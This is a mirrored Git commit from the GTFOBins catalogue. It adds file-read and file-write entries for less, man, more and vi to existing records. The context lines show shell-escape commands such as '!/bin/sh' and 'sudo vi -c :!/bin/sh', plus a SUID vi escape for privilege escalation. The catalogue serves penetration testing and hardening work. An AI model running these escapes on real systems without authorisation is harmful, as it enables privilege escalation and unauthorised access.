mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-13 23:39:44 +01:00
Add read-write to less, man, more, and vi
This commit is contained in:
parent
ee57eeba90
commit
c3710d7396
@ -15,4 +15,7 @@ functions:
|
|||||||
- code: |-
|
- code: |-
|
||||||
./less /etc/profile
|
./less /etc/profile
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
less file_to_read
|
||||||
---
|
---
|
||||||
|
@ -12,4 +12,7 @@ functions:
|
|||||||
- code: |-
|
- code: |-
|
||||||
./man man
|
./man man
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
man file_to_read
|
||||||
---
|
---
|
||||||
|
@ -12,4 +12,7 @@ functions:
|
|||||||
- code: |-
|
- code: |-
|
||||||
TERM= ./more /etc/profile
|
TERM= ./more /etc/profile
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
more file_to_read
|
||||||
---
|
---
|
||||||
|
@ -10,4 +10,11 @@ functions:
|
|||||||
- code: sudo vi -c ':!/bin/sh'
|
- code: sudo vi -c ':!/bin/sh'
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./vi -c ':!/bin/sh -p'
|
- code: ./vi -c ':!/bin/sh -p'
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
vi file_to_read
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
vi file_to_write
|
||||||
|
w
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user